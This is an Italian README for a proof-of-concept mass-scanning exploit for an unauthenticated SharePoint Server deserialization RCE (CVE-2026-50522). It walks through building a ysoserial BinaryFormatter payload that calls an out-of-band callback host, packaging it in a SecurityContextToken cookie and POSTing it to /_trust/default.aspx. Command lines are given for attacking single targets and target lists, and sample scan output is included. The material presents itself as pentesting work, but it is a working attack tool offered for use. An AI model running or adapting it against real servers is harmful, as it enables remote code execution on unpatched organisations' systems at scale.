CVE-2026-50522 Poc : SharePoint Deserialization RCE

Esecuzione remota di codice non autenticata su SharePoint Server tramite deserializzazione del cookie SecurityContextToken

Exploit di scansione di massa per CVE-2026-50522 che prende di mira Microsoft SharePoint Server on-premises. Sfrutta la deserializzazione insicura di BinaryFormatter nell'endpoint WS-Federation /_trust/default.aspx per ottenere esecuzione di codice non autenticata tramite cookie SecurityContextToken appositamente costruiti.

Nota: Questo progetto include ysoserial, un noto strumento di penetration testing, quindi il tuo antivirus potrebbe segnalarlo o metterlo in quarantena durante il download.

---

Informazioni sulla vulnerabilità

• CVE: CVE-2026-50522
• Tipo: CWE-502 Deserializzazione di dati non attendibili
• CVSS 3.1: 9.8 (Critico)
• Autenticazione: Non autenticata
• Prodotti interessati:
  • Microsoft SharePoint Server Subscription Edition (prima della 16.0.19725.20434)
  • Microsoft SharePoint Server 2019 (prima della 16.0.10417.20175)
  • Microsoft SharePoint Enterprise Server 2016 (prima della 16.0.5561.1001)

---

Come funziona

1. ysoserial.exe genera un payload serializzato BinaryFormatter utilizzando il gadget TypeConfuseDelegate
2. Il payload esegue Invoke-WebRequest verso un URL di callback out-of-band
3. I byte grezzi vengono deflati (zlib) e codificati in Base64 in un valore di cookie
4. Il cookie viene avvolto in una struttura XML SecurityContextToken
5. Il token viene incorporato in una RequestSecurityTokenResponse (WS-Federation)
6. Il parametro wresult viene inviato tramite POST a /_trust/default.aspx
7. SharePoint deserializza il token, innescando l'esecuzione di codice nel processo worker IIS

---

Requisiti

• Python 3.10+ con libreria requests
• ysoserial.net (download)
• Server di callback OOB (Burp Collaborator, interactsh, OAST)

---

Utilizzo

Target singolo

python CVE-2026-50522.py -t http://10.10.10.5 -c http://YOUR_ID.oastify.com

Scansione di massa

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com

Percorso ysoserial personalizzato

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --ysoserial C:\tools\ysoserial.exe

Con proxy

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com -x http://127.0.0.1:8080

Modalità callback su sottodominio

python CVE-2026-50522.py -T targets.txt -c http://YOUR_ID.oastify.com --callback-mode subdomain

---

Opzioni

Argomento	Descrizione	Predefinito
-t, --target	URL del target singolo	-
-T, --targets	File con gli URL dei target, uno per riga	-
-c, --callback-url	URL base di callback OOB (obbligatorio)	-
--callback-mode	path o subdomain	path
--ysoserial	Percorso di ysoserial.exe	ysoserial.exe
-x, --proxy	Proxy HTTP	nessuno

---

Modalità di callback

Modalità path (predefinita):

http://YOUR_ID.oastify.com/10.10.10.5

Modalità sottodominio:

http://10.10.10.5.YOUR_ID.oastify.com

---

Esempio di output

[*] 50 target(s) | callback: http://abc123.oastify.com (path) | ysoserial: ysoserial.exe
[10.10.10.5] [+] 200 [LOGIN_PAGE,AUTH_COOKIE]
[10.10.10.6] [!] 200 [AMSI_BLOCKED]
[10.10.10.7] [!] TIMEOUT
[10.10.10.8] [!] SSL_ERR
[10.10.10.9] [!] 403 [HTTP_403]

[*] 45.2s | 50 total | 12 potential | 3 amsi | 5 failed

---

Riferimenti

• Microsoft - CVE-2026-50522
• SOCRadar - Il PoC di CVE-2026-50522 alimenta gli attacchi a SharePoint
• thehackernews - CVE-2026-50522, RCE critico di SharePoint, sfruttato attivamente dopo la pubblicazione del PoC